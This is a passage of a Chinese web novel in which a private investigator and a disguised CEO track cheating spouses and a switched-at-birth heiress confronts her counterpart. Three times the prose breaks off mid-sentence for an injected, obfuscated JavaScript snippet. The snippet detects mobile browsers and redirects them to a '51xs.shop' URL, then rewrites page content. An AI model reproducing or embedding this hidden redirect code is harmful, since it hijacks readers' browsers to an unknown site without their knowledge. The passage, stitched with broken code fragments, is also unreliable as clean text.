她呵呵一笑,“知道啦,你全身都是秘密,李老板。” * 深夜。 李流年打开门,惊喜道:“你怎么这个时间跑来?” 他连忙把友人让进门内,唠叨着:“我刚刚点了夜宵,也不知道两个人够不够吃啊。” 仲光华沉默走到客厅中央,也不说话,脸色沉重。 李流年不禁有些担心:“怎么啦?出大事了?公司?还是家里?” 仲光华:“我去阿芳家里了。我看到了她住的地方。” 李流年:…… 仲光华:“她住在那个破烂事务所的三楼。很窄,很热。可能是顶楼的关系,开了空调也还是很热。” 李流年:“啊啊,那真是可怜啊……” 仲光华:“更大的问题是,他们那个发哥,一个脏兮兮的男人,就住在二楼。虽然那个男人暂时不在,但是理论上,他们算是住在一起。” 李流年挠挠下巴:“是分开两层楼住的吧?不能算是住在一起吧?” 仲光华:“我接受不了。” 李流年眼睛一亮:“你终于想通了?要接阿芳回来照顾?” 他两手一拍:“你早该这么办了!” 仲光华一伸手,手掌竖直:“暂时还不行。” 李流年叹气:“那要什么时候才行?” 仲光华:“我做了一个重大决定。” 李流年:“哦?” 仲光华:“我想好怎么报复阿芳了。” 李流年抠抠耳朵,“是吗。说来听听。” 仲光华:“我要向她散发魅力,让她陷入我的爱情陷阱。” “然后,在她最意乱情迷的时刻告诉她真相,狠狠嘲笑她!” 他品味一番,脸上露出迷幻笑容。 “她抛弃我一次,我抛弃她一次。这样,我们就扯平了。” “然后,我就可以,终于可以,原谅她了。” 李流年难受地挠了挠额头:“那你打算,嗯,如何散发魅力?就是说,具体措施是怎样的?” 仲光华:“就和大自然里每一个雄性动物一样。” 李流年:? 仲光华:“对她跳舞,对她开屏,充分向她展示我的优美、体格和力量。” 李流年:…… 他最终决定微笑:“真是好极了。她一定很快被你俘获。加油。” 17. 霸总华丽求偶行为 周日和周六几乎雷同,还是下午开始上班,还是平平无奇的跟踪任务。 宋流星这次学乖了,提前跟自家临时工交代:周日上午没有活动,大家都要睡懒觉的,没必要一大早跑来事务所。 她强调:真的,真的没必要。 临时工哼唧几下,算是应承下来。 周日下午一点半,仲光华准时来到事务所。 宋流星刚吃完饭,正在桌边整理给客户的照片,听见门开的声音,回头望去。 一望之下,有些呆住。 临时工年仔,今天似乎……有些不一样。 他的头发似乎整理过了,大体上往后去,露出平整的额头,却又不是呆板的大背头,有一些碎发掉下来,添了些许随意气息。 身上是一件说不清什么材质的衬衫,纯黑的颜色,很板正,又微妙的感觉柔软,隐隐有一些光泽,衬得脖颈越发干净雪白。 衬衫很合身,妥帖地扎在靛蓝色牛仔裤里,显得腰肢窄窄,双腿修长。 宋流星忍不住吞了一口口水。 这小子……虽然总是一股惹人嫌的自大气息,皮囊本身却是真的很不错啊。 仲光华从开门的一瞬间起,就死死盯着宋流星的反应。 他百分百捕捉到了对方眼里的惊艳,得意勾起嘴角。 男要俏,一身皂。果然如此。 不管是南洋故乡,还是这个沿海的异国城市,猛烈的日照之下,居民大多皮肤黝黑。 仲光华向来知道自己的白皙肤色很出挑。 正因为此,他不是很喜欢穿一身纯黑,太过显眼。 偶尔穿一次,连米歇尔那个机器人都要多看一眼。 阿芳啊阿芳,少爷特意为你打扮了。 你喜欢吗?满意吗?感激吗? 宋流星叹了一口气,“夏天不要穿黑色,吸热。坐在家里开空调不觉得,到了外面你就知道厉害了。” 仲光华:? 你的感想就是这个?只有这个? 宋流星:“我找件发哥的老头衫给你穿吧?尺寸应该差不多。” 仲光华眼睛睁大:“尺寸差不多?钱润发至少比我矮十厘米。” 宋流星笑起来:“老头衫都是宽松的啊,大点小点都能穿。又不是什么高级定制。你在意什么呢。” 仲光华僵硬微笑:“我没有在意。我不怕热,不用了,谢谢。” 让他穿钱润发的劣质衣服?不要开玩笑了。绝无可能。 宋流星哼了一声,“随便你吧。热也不是我热。” 她把照片摞整齐,放进抽屉里,朝着临时工一抬下巴:“走吧。” 出了门,她往榕树下的红色朗逸走,却被突然抓住小臂。 她心下一跳,大声道:“你干什么!” 仲光华:“过来,过来一下。” 他拉着人过马路,往前走了一百米左右,在一辆银色奔驰C260旁边停下。 他稍微昂着下巴,随意道:“坐我的车吧。” 宋流星眼前一亮,围着车子走了一圈,声音雀跃:“哇哦!我听说这个车很好开的,可以让我开吗?” 仲光华愣了一下。 他没想过这个选项。 他默认阿芳是坐在副驾驶的。 宋流星叉起腰:“跟踪是个技术活,一个不小心就跟丢了。开车的必须是我。至于开你的车还是我的车,你选吧,我反正无所谓。” 仲光华:…… 算了,要讨她欢心,要让着她。 他艰难道:“开我的车吧。” 毕竟,那辆玩具一样的迷你车,他也真是受够了。 宋流星喜上眉梢:“真的吗?哇,万万没想到,有朝一日我也能开上这样的豪华车。谢谢李老板!” 仲光华看着她欣喜的表情,一股心酸涌上心头。 小小的奔驰C就这么开心吗? 等到不久之后,等我把库里南钥匙交到你手里,你会是什么表情? 宋流星拉开驾驶侧的车门,正要进去,突然看见马路尽头开过来一辆白色奔驰。 她定睛一看,“哇,是E300,谁这么有钱啊。” 说话间,白色奔驰已经停在宋流星身边。 车窗降下,露出蓝老师的脸。 他穿着清爽的白色恤衫,头发全部扎在脑后,额头很清爽,脖颈很清爽,笑容也很清爽:“宋小姐,出去玩吗?” 宋流星:“不是啊,出去干活呢。” 蓝老师:“啊,周日也要工作?好辛苦。” 小雪从后座探出头来,开心道:“宋阿姨好,我们要去体育馆呢,爸爸要教我打乒乓球!” 宋流星捧住心口:“哇,真好,祝你们玩得开心!” 小雪:“安安在家吗?他可以和我们一起去体育馆吗?我想和安安打乒乓球!” 蓝老师立刻接口:“对啊,两个孩子一起打更合适。宋小姐,可以吗?” 宋流星点头如捣蒜:“可以可以!当然可以!哎呀,太感谢你们了,安安一定会很高兴的!” 她说着就往事务所跑:“我去叫安安下来!” 小雪看着仲光华,犹豫了一下,挥挥手:“叔叔好。” 仲光华:“……我姓李。” 小雪甜甜笑道:“李叔叔好。” 蓝老师也跟着打了招呼:“李老板,我们先过去了。” 话音落下,白色奔驰缓缓滑向不远处的事务所。 很快,宋平安像炮弹一样冲出事务所大门,跳上蓝老师的车。 宋流星站在原地,挥着手送他们离去。 然后,她过了马路,朝这边跑来,上了这边的车。 “蓝老师真是个好人啊~~~”宋流星两手扶住方向盘,深深赞叹。 仲光华:…… 今天怎么回事? 怎么每一个细节都和预想的不一样。 都怪那个妖里妖气的蓝老师! 不……也怪我。 当初库里南就摆在这条街上的时候,我为什么要脑子一昏说什么“这不是我的车,我开的是奔驰C”? 为什么我要装低调?然后被一个区区奔驰E比下去? 今天,仲总有了新的人生经验:莫低调,低调会被雷劈。 * 晚上八点,两位调查员百无聊赖坐在车里。 隔着绿色的尼龙网,可以看到目标人物和一群男性友人正在打篮球。 宋流星歪头趴在方向盘上,看着场内那个灵活 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13355459|140709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跳跃的五十岁大叔,“你知道吗?人的精力和性/欲是成正比的。一个男的,到了五十岁,还能热衷于篮球这种对抗性运动,他大概率也会热衷于男女之间的运动。” 仲光华笑了:“如果让你选,一边是精力旺盛身材好,但是会出轨;一边是不爱动弹大肚子,但是对老婆忠诚,你选哪边?” 宋流星毫不犹豫:“我都不要。我喜欢一个人过。” 仲光华皱起眉头。 宋流星:“你干嘛?不满意我的答案?那你觉得我该选哪边?” 仲光华:“你应该说,你选精力旺盛身材好、同时对老婆忠诚的。” 宋流星噗嗤笑出声:“哪有那样的男人?就算有,也轮不到我吧。” 仲光华皱眉:“为什么轮不到你?你很差吗?” 宋流星眨眨眼:“我可是35岁的单身母亲。你知道这在世人眼里,这是个什么人设吗?” “能看中我的,基本上是四十左右的离婚男。他们通常指望我做家务带孩子,而我呢,对别人家的家务和孩子没兴趣。” 她笑得坦坦荡荡:“所以我啊,注定是要孤独终老的。” 仲光华眉头紧锁:“四十左右的离婚男,你是指蓝老师吗?” 宋流星惊呆:“你怎么会联想到蓝老师的?” 仲光华:“他难道不是四十左右的离婚男?哦,他是丧偶。也差不多吧。” 宋流星仍然惊呆:“不是,等一下,话是这样说没错。” “但是一般人看见蓝老师,会想到这些吗?不是只会想到舞蹈家、艺术家这一类的词吗?” 仲光华眉头能夹死苍蝇:“你是青春期少女吗?随便看见个男人就给他安上那么大的滤镜?” 宋流星:“怎么就是滤镜了?人家不是艺术家吗?人家就是啊!” 仲光华冷笑连连:“艺术家很稀罕吗?改天我带你去大芬村,一脚油门踩下去,能连着撞飞十个艺术家。” 宋流星:? 大芬村的艺术家招你惹你了? 手机叮的一响,她拿出来一看,是苏小姐发来的文字信息: 【我看到她了!我看到王阿红了!】 【我一看就知道是她,她和我妈妈长得一模一样。】 【我不敢和她说话。】 【我心跳得好快。快要呼吸不过来了。】 【快来帮我!】 【附:GPS定位】 宋流星收起手机,向仲光华交代:“苏小姐叫我过去。那我过去了。你在这里继续监视。” 仲光华大惊失色:“我们要分头行动吗?” 宋流星已经推开车门,闻言,奇怪地看过来一眼:“对啊,分头行动。不然呢?难道舍弃其中一边的工作吗?” 说罢,她便敏捷地钻出去,从车头绕到人行道上,朝着地铁站大步跑去了。 仲光华一个人坐在车里,充满了茫然。 我是谁?我在哪? 我一个跨国公司CEO,为什么会抛下繁忙的公务,坐在一辆寒酸的奔驰C里监视一个五十岁疑似出轨的大叔? 仲光华想起今天出门前照镜子时的志得意满,又看看眼下的状况,不禁感到滑稽。 事情为什么会变成这样子? 18. 真假千金面对面 宋流星下了地铁,又是一路小跑,气喘吁吁来到一家连锁餐厅。 这家餐厅主打意大利风情美食,店堂宽敞明亮装饰可爱,食物丰富廉价出品稳定,因此受到学生和社会新人的喜爱。 宋流星进了店,四下张望。 “这里!宋小姐!这里!” 她听见声音,循声望去,看到苏小姐坐在最角落的卡座里,一脸的鬼鬼祟祟。 宋流星:…… 没必要吧,人家又不认识你。 你这样,反而很可疑啊! 宋流星走过去,在苏小姐对面坐下。 苏小姐缩在靠墙的位置,偷偷指着大厅中央:“看,就是她。” 宋流星顺着手指方向看过去。 一个女服务员正在帮客人点单。 她背对着这边,看不见脸,只能看到她穿着店里统一的柠檬黄制服,短袖下露出黝黑的手臂。 宋流星问道:“你打电话联系过她了吗?” 苏小姐缩在角落里:“没有。不需要。” “我不是说了吗,她和我妈妈长得一模一样。” 她露出苦笑:“啊,对了,其实不是我的妈妈啊。” 宋流星:“要叫她过来吗?” 苏小姐连忙阻止:“先不要了!” 她压低声音:“她还在上班呢。我们不要打扰她吧。” 宋流星心想,也行,再多一点逃避的时间。 她看看手机:“现在九点十分,这边十点打烊。我们先坐一会,等打烊之后再找她吧?” 苏小姐点点头。 宋流星看着桌上。 各色食物堆得满满当当,有些只吃了一口,有些碰都没碰。 吃不下就不要点这么多啊。真是浪费…… 这就是大小姐的习性吗? 她想起了多年前那位小少爷。 那一位浪费起来,可比这个夸张多了。 她重新去看王阿红。 这一次看到了正脸。 怎么说呢,不丑,算是普通中等容貌。 其实,严格说来,苏小姐也是普通中等容貌。 但是,她头发闪亮,皮肤雪白,一身上好丝绸裙子,整个人散发出一种强烈的美女氛围。 而王阿红呢,头发毛躁干枯,刘海大约是自己剪的,左边缺了一块,引人注目。制服是醒目的柠檬黄,一点也不衬她黝黑的皮肤。 零零总总,让她平庸暗淡,泯然于众人。 临近打烊,店里还是十分热闹,不断有人召唤服务员。 王阿红像陀螺一样,持续在店堂内高速旋转着。 苏小姐缩在角落里,目光一直跟着王阿红,嘴里喃喃道:“好辛苦啊……那本该是……” 她没说完,但是宋流星听懂了。 那本该是苏小姐的人生。 富裕娇贵的大小姐,劳碌辛苦的打工妹,截然不同的人生轨迹,竟然被命运恶意交换了。 九点四十五,王阿红快步走过来,看了一眼桌上的食物,摆出完美营业笑容:“请问需要打包吗?我们这边马上要打烊了。” 苏小姐:“啊,好啊,打包吧。” 说完,又立刻改口:“啊,不对,不用了。” 这种食物,带回去也没人吃。 王阿红:“那我收走了哦。” 话音落下,她抽出腋下的餐盘,麻利地把桌上的食物撤到餐盘上,一层摞一层,瞬间把桌面清空一大半,端着那个看起来超重的餐盘就往厨房去了。 苏小姐看着她的背影,满脸纠结:“要不,我们改天再来吧。” 宋流星:…… 改天难道会有什么不同吗。 但是客户既然这么说了,她自然照做。 话音落下,王阿红已经快步走回来,将剩下的食物往餐盘上撤。 苏小姐全身紧绷,眼神游移不停。 宋流星看一眼苏小姐:“我们走吧?” 苏小姐一个激灵,骤然出声:“王阿红!我有话和你说!” 王阿红当即直起身,皱起眉:“你怎么知道我的名字?” * 十点十分,苏小姐和宋流星在已经熄灯的店门口等到了王阿红。 苏小姐指着对面的酒吧:“我们去那里坐下谈吧。” 王阿红立刻拒绝:“那里最便宜的酒都要五十多一杯,太浪费钱了。” 她四下里看看,指着街尾:“那边有个公园。这个时间孩子们都回家了,应该很安静。” 苏小姐:“哪有站在公园里说话的……去酒吧好了,我请客!” 王阿红看她一眼:“我不喜欢无缘无故让人家请客。” 宋流星心想,看起来普通的一个人,却意外的强硬啊。 感觉不会很顺利呢。 王阿红不再说话,拔脚就走。 苏小姐和宋流星只好跟上去。 不多时,三人来到街尾的小公园。 公园里果然没什么人,只有小小地灯发出幽幽的光。 王阿红停下脚步,两手抱胸:“说吧,找我什么事?” 苏小姐扭头看着旁边的草丛和灌木,手指紧紧捏着羊皮小包,一时间没说话。 气氛渐渐变得尴尬。 一阵音乐响起。 是宋流星的来电提醒。 她拿出手机,接起,电波中传来临时工的声音:“我这边结束了,拍到了一起进宾馆的照片。你们在哪?我现在过去。” 宋流星稍微走开几步,压低声音:“你别来了。这边不需要你。你下班回家吧。” 说完,不顾那边反对的声音,挂断电话。 苏小姐终于动了。 她掏出手机,找出自己妈妈的照片,展示给王阿红:“你看,眼熟不?” 王阿红随意看了一眼:“这是谁?不认识。” 苏小姐:“你再仔细看看!不觉得和你很像吗?” 王阿红随意又看了一眼:“像吗?不觉得。你到底要说什么,直说,别浪费我时间。” 苏小姐被她咄咄逼人的态度激怒了,直接甩出大炸弹:“我想说的是,我怀疑,我们当初在医院抱错了。” 王阿红睁大眼,张着嘴,没说话,也没动作。 苏小姐狠狠补充:“抱错了!你明白这是什么意思吗?” 王阿红沉默了一阵。 然后开口:“你怀疑?为什么你会怀疑这种事?一般人不会突然怀疑这种事的吧。” 苏小姐:“当然是发生了一些事所以我才——” 她看着王阿红探究的眼神,心虚大喊:“但重点不是这个吧!你管我怎么就怀疑的!” “重点是,我说,我们抱错了!你听明白了吗!” 王阿红面无表情:“听明白了。” 苏小姐崩溃:“你这人怎么回事?为什么会这么平静?” 王阿红:“听你这口气,不是怀疑,是确定吧。” 苏小姐默认。 王阿红:“做过亲子鉴定了吗?你和你妈妈。” 苏小姐:“做过了。” 王阿红:“结果呢?” 苏小姐:“你说呢!” 王阿红笑了一下,“这样啊。” “那接下来是怎样?让我和我妈妈做亲子鉴定?” 苏小姐抓紧小包,声音发抖:“不,没这个必要。不如直接鉴定你和——” 她的声音戛然而止。 王阿红帮她接上:“直接鉴定我和你妈妈的血缘关系?” 她歪着头,露出奇特的笑容:“你什么意思?我和我妈妈是什么关系不重要,和你妈妈是什么关系才重要?” 这话也太刁钻了,苏小姐一时无言以答。 王阿红盯着苏小姐:“你妈妈怎么没来?她要和我做亲子鉴定,至少先和我见一面吧。” 苏小姐全身僵硬,心虚地撇开眼神。 王阿红睁大眼睛,若有所悟:“难道说,她根本不知道?” 她歪着头,观察着:“你爸爸呢?他也不知道?” “所以,他们都不知道?你故意瞒着他们?” 王阿红慢慢笑起来。 “刚才在店里我就注意到了,你看起来很有钱的样子啊。你的衣服包包都很好,还有你的气质……看起来就是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13364385|140709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那种无忧无虑的大小姐。” “你该不会是担心,一旦你爸妈知道你不是他们的骨肉,你就会失去这种优渥的生活?” 苏小姐两眼圆睁,尖叫出声:“才不会!爸爸妈妈不是那样的人!你不懂我家里的事!你不要乱说!” 宋流星向前一步:“王小姐,不要故意说一些极端的话,我相信你心里不是这么想的。” 王阿红哧道:“你又是谁?你怎么知道我心里想的什么?” 宋流星笑笑:“我当然不知道,我只是猜测。我们这边是怀着诚意来的,希望你也能坦诚相对。” “苏小姐突然遇到这种事,很震惊,还没有完全消化,所以暂时没和父母沟通。但是她一直是想要沟通的,也一定会主动沟通的。” 她看一眼苏小姐:“对不对?” 苏小姐猛点头:“我会告诉他们的!我只是暂时没做好心理准备,但我一定会告诉他们的!” 王阿红看着宋流星,哼了一声,“你是她朋友?倒是很会说话。” 她突然沉默下来。 苏小姐手足无措,想说些什么,却又拿不准,只能等着。 让人难以忍受的沉默在陌生的小公园里流淌着。 王阿红突然开口:“你所谓的需要心理准备,其实就是不想告诉他们。” “你很害怕吧,我看得出来你很害怕。你怕他们知道之后,对你的感情会变质。” 苏小姐想要反驳,却一时没说出话来。 王阿红伸出手:“你看我这双手,全是老茧。你这样的大小姐,一定想不出,我的日子有多艰辛吧。” 苏小姐立刻撇开头,不愿去看。 王阿红自顾自地说下去:“你父母要是知道他们的亲生孩子受了这么多苦,一定会很心疼,很愧疚吧。” “然后,他们会努力补偿我。” 她突然啊了一声,“当然,这里的前提是你父母是正常人,不是电视剧里那种没有心的恶棍。” 苏小姐:“他们当然是正常人!” 王阿红点点头,“那就好。” “他们会关心我,补偿我,然后,总有一天,因为血缘的力量,我会变成他们最爱的孩子。” 苏小姐惊恐地望着她,身体开始颤抖。 王阿红看着苏小姐,眼神诡异:“其实不一定要发展成这样的。” “你给我一笔钱,我会带着我妈妈离开这里,走得远远的,再也不回来。” “即使以后有一天你爸妈知道了真相,他们也找不到我。” “而你,永远都是他们唯一的宝贝。” 宋流星大惊。 这是什么神展开? 一般人在猛然得知自己被抱错之后,思路会迅速滑到这个方向吗? 另一边,苏小姐两眼圆睁,肉眼可见地猛烈动心。 王阿红从帆布包里掏出一个矿泉水瓶,向前递出。 “拿去做DNA检测吧。” 这明明是苏小姐提出的,此刻她却还是僵住了。 她僵了好几回,才颤抖着伸出手,接过那个塑料瓶。 王阿红却没有松开瓶子。 她一步上前,像是恶魔一般,在苏小姐耳边低语:“对你这样的大小姐来说,钱应该是最不重要的东西吧。” “只需要一些钱,我就会从你的生活里永远消失。” 她后退一步,带着诡异的微笑,深深凝视了苏小姐一眼,转头离去。 宋流星看着动摇的苏小姐,忍不住劝诫:“你不能给她钱。她说的这些话根本不可信。” “你父母如果想找她,不管她在哪里,总能找到的。” “更何况,你根本不知道她是真心还是说谎。” “如果她拿到钱之后立刻去找你爸妈告状,说你拿钱打发她,怎么办?” 苏小姐烦躁喘息着:“这种事不用你说我也知道!” 她看了一眼手里捏着的矿泉水瓶:“总之,先做DNA检测。” 宋流星点点头,“是。说不定我们找错人了,她根本是个无关路人呢。” 苏小姐挤出一丝难看的笑容,也转头离去。 19. 替天行道 宋流星从地铁站出来之后,沿着马路慢慢走着。 大约是因为刚下过暴雨,空气中有一丝凉意。 心情不禁轻盈起来,塑料凉鞋在马路上留下一串踢踢踏踏的声音。 离事务所还有五十米的地方,她突然眯起眼睛。 嗯?昏暗的招牌灯光下,好想有个人蹲在那里。 这么晚,总不能是客户吧? 难道是…… 宋流星立刻大步跑起来。 她跑到门口,喘着气:“你怎么在这里?不是叫你回家去吗?” “李流年”瞬间跳起来,一手撑墙,一首插兜,摆出潇洒姿势:“当然是等你。” 宋流星根本没时间看他,赶紧拿出钥匙开门,打开店面里的灯,回头催促:“快进来!外面蚊子多!” 被晾在原地的仲光华:…… 他撤销潇洒动作,垂头丧气进门。 说到蚊子。 手臂果然痒了起来。 宋流星绕房间一周,把所有灯打开,回头关心道:“没被蚊子咬吧?我给你的驱蚊药带了吗?喷了吗?” 仲光华狠狠抓着手臂,嘟囔着:“带了,喷了,还是被咬了。” 他向前伸出手臂,眼中露出期待。 宋流星:? 仲光华顽强向前着手臂。 宋流星:??? 她想了想,伸头看了一眼,棒读:“哇,好几个包呢,真可怜。” 仲光华放下手臂,一脸失望。 宋流星灵光一闪:“你是想让我帮你涂清凉油吗?” 她怀着内疚向前一步,伸手去拉临时工的手臂,“来吧,我帮你涂。” 可怜的孩子,也不知道他在门口等了多久,喂了多久蚊子。 谁知临时工又不高兴了,甩开手臂,往旁边一闪,忿忿道:“不用了!我自己会涂!” 宋流星:…… “行吧。那你自己涂吧。” “唉。你打电话给我说啊,早知道我就打车回来了。” 仲光华:“真的吗?你不会直接叫我回家去?” 宋流星噎了一下。 该说不说,还真会。 她忍不住叹气:“你跑来干什么?” 仲光华往旁边一靠,一手撑着办公桌,一手抬起,把汗湿的头发全部捋到脑后,一边眉毛挑起:“当然是关注苏小姐那边的后续。” 这个姿势…… 宋流星莫名有些起鸡皮疙瘩。 “啊。这个啊。这事又不急,等明天你过来了,我自然会告诉你。” 仲光华:“我们可是工作伙伴,当然要随时对齐颗粒度。” 宋流星:…… 把你挂墙上对对齐好了。 她用手掌扇扇风:“好热。” 自顾自走到楼梯间,回头道:“过来啊。上楼来喝杯茶。” 上楼来喝杯茶。 这句话像闪电一样,照亮了仲光华整个脑海。 他拔脚就走,噔噔噔跑上二楼,看到宋流星从冰箱拿出大壶冰麦茶,给两个人各倒了一杯,举起其中一杯,咕噜噜一口气灌下去,爽快打了个嗝。 仲光华:…… 原来就是字面意义上的喝茶啊。 说不清心里那点小失望。 喝完茶,宋流星开始和临时工对齐颗粒度。 仲光华听完苏小姐那边的事情经过,皱眉道:“王阿红的反应太奇怪了。” 宋流星一拍手,“是吧!真的很奇怪!” “但是苏小姐很动心的样子。她的心思太明显了。我很担心她会受骗。” 仲光华笑笑:“人性如此。如果你过于渴望某个东西,就会开始自己骗自己。” 宋流星无言。 可不就是如此。 仲光华:“这个王阿红,说不定和□□有关联。” “所以她听到这件事,第一反应是可以大赚一笔。” 宋流星呆住:“不会吧……她看起来就是一个普通打工人,啊,不,不普通,是很勤奋、很努力的打工人……不像是和□□有关联的样子。” 仲光华:“她成长得很艰辛。比普通人要艰辛得多。这样的她,突然知道自己其实有一对有钱父母,正常反应是什么?” 宋流星没说话。 总感觉这后面接着的不是好话。 仲光华:“她会迫切想要见到亲生父母,向父母哭诉这么多年的艰辛,让父母心疼自己。” 宋流星眉头微皱。 这话倒也不算离谱。但怎么这么难听? 她冷笑:“你是这么想的?你认为她会抛弃贫穷的养母,转头奔向有钱亲生父母的怀抱?” 仲光华:“谁说要抛弃养母了?讨好亲生父母和照顾养母,这两件事并不冲突。” “她对养母有感情,这一点会在亲生父母那边加分。和亲生父母建立起感情之后,也对养母更有好处。” 宋流星:…… 这话还是好难听。但……确实如此。 仲光华:“但是她第一反应是要钱。太奇怪了,也太熟练了,她一定是早就习惯了这种行为。这种有别于普通市民、更接近于□□的行为。” 宋流星还是觉得哪里不对。 仲光华:“你有更好的解释吗?” 宋流星:…… 并没有。 仲光华:“如无必要,勿增实体。最简洁的推论,总是最接近真相。” “我们最好主动联系一下苏小姐,问她要不要从这个方向调查。” “涉及到□□,她总会警觉一点,不至于轻易受骗。我们也多了一笔业务。” 年轻男人嘴角勾起:“怎么样,不错吧。” 宋流星迟疑点头。 * 两天之后,苏小姐打了电话过来。 加急鉴定的结果显示,王阿红和苏小姐的妈妈,亲子关系可能性超过99.99%。 苏小姐的声音非常疲惫。 “宋小姐,你放心啦,我不会给她钱的。” “这周末是我妈妈的生日。我早就定好了场地,要热热闹闹帮她庆祝。等生日之后,我就跟她坦白一切,然后安排两家人见面。” “我。爸爸妈妈,王阿红,还有王阿红的妈妈。” 她勉强开了个玩笑:“你放心,肯定不会叫王大球过来的。我才不要让那个混蛋占到便宜。” 听起来很合理。 会顺利的样子。 可宋流星还是没来由的担心。 但是担心也没有用。 苏小姐的委托已经结束。不再是客户。 她以后要做什么,已经和这边没有关系了。 宋流星也只能继续自己的日常。 * 这一天,事务所接到了一样略微不同的委托。 一个拆迁户老头突然陷入爱情,每天晕乎乎乐陶陶,仿佛年轻了十岁。 老头的儿子怀疑是遭遇了专业婚姻诈骗,委托事务所调查女方的详细背景。 这种调查没有方向,需要全方位的挖掘,是个麻烦活。 但总算不是跟踪疑似出轨的丈夫了,宋流星干劲满满。 总之,先跟踪个一周。 详细记录目标人物的日常轨迹。 一般来说,可疑的地方会自动浮现出来。 晚上九点,宋流星和她的临时工坐在广场台阶上,看着台阶下激情舞动的目标阿姨。 宋流星两手捧着脸,感叹:“她跳得好认真啊。婚姻诈骗犯会这么认真地跳广场舞吗?我感觉她就是个普通阿姨,普通地和一个大爷恋爱了。” 仲光华:“唯一不普通的是那个大爷手握三栋楼放租,每个月的租金进账有二十多万。” 宋流星:…… 仲光华:“再说了,正因为是婚姻诈骗犯,才需要认真跳广场舞。这里可是重要的情报集散地,她得从这里物色下一个受害人。” 宋流星奇怪地看了仲光华一眼。 “我怎么感觉,你说起这些犯罪的事情特别理所当然。你平时是生活在哥谭吗?” 仲光华:“这些都是常识吧。” 宋流星:“不是吧。我觉得不是。我以前可是专门调查黑料的,我看事情都没有你那么黑暗。” 她突然睁大眼睛:“难道,因为你是有钱人?” 她自顾自一拍手:“对哦,你是有钱人来的。你天天跟着我干这苦兮兮的活,我差点都忘了你是有钱人了。” “唉,也对,有钱人的世界就是挺黑暗的。” 仲光华:…… 啪!他突然出手,拍死一只蚊子。 宋流星:“喷防蚊药了吗?” 仲光华委屈:“喷了。但还是会被咬。” 宋流星忍不住叹气:“你真是格外招蚊子的体质啊,好可怜。” 仲光华看着近在咫尺的那双眼睛,圆溜溜,水当当,满是温柔和怜惜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13382152|140709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 ……和多年前一样。 但又有一丝不同。 是哪里呢? 对了……终究是被时间注入了难言的哀愁。 阿芳,这么多年,你一个人是怎么过来的? 你经历了多少辛苦? 别急,你的少爷来了。 以后不会再有辛苦。 仲光华屏住呼吸。 他感觉就像荒野上的猎人,谨慎呼吸着,悄悄靠近那只美丽的梅花鹿。 必须一举得手,绝不可惊吓她,让她逃跑。 太紧张了,太刺激了。 仲光华已经很多年没有过这样兴奋的心情。 宋流星站起来:“我去前面夜市买个小电扇。电扇可以把蚊子吹走。” 她叮嘱道:“你在这儿监视,别让她离开视线。我们随时联系。” 交代完,她就像林间小鹿一样,轻盈奔出去。 仲光华目光追随着她,直到她消失在马路拐角。 这时,视野角落里闯入一个眼熟的身影。 中年男子,不胖不瘦,略微秃顶,戴着一副金丝眼镜,五官还算端正,但绝对说不上英俊。 他身边跟着一个脸盘圆圆的年轻女孩。 仲光华皱眉。 在哪里见过这个男的来着? 啊,对了,不久前的一个晚上,该男子带着另一个圆脸女孩在宾馆开房。 仲光华看着这个新的圆脸女孩,心想,果然是同系列的。 他冷漠转开视线,继续监视目标人物。 五分钟后,二百米外的路边夜市,宋流星也看到了这两个人。 她张着嘴,愣愣看着眼前一幕: 中年男子从堆满鲜花的三轮车上买了一扎粉色玫瑰,递给那个陌生圆脸女孩。 女孩一脸惊喜,一手抱住花,一手揽住中年男子的胳膊,头也靠在了中年男子的肩膀上。 宋流星不敢置信。 这才几天,你又哄上了新的小女孩? 你身而为人,一点廉耻心都没有吗? 一阵怒火从胃里烧起来。 宋流星来不及思考,身体自动奔了出去。 她奔到中年男子面前,猛地一伸手,推得对方往后一踉跄。 中年男子好不容易站稳,怒道:“你干什么!” 宋流星脑筋飞转,直接扑上去,揪中年男子的polo衫前襟,真情实意大叫起来:“我妹妹今年才19岁!够做你女儿的!被你骗身又骗心!还被你老婆打!” “她现在还一脸伤,躲在家里不敢出门,天天哭个不停,好好一个人,变得畏畏缩缩!” “可是你呢?你已经有了新人?” “你怎么可以这样?你没有心的吗?你不要脸的吗?” 路人纷纷侧目,交头接耳起来。 捧着粉色百合的圆脸女孩惊讶出声:“老婆?” 她拔高声音:“你不是说你老婆癌症死了吗?” 说时迟那时快,她唰的一下抡起花束,狠狠砸在中年男子头上! 粉色花瓣在夜空中洋洋洒洒。 圆脸女孩像是疯了一样,拳打脚踢:“你昨天晚上还跟我哭来着,说你老婆走得太快,说你来不及好好送别,说你好想她,结果全是骗我?昂?” 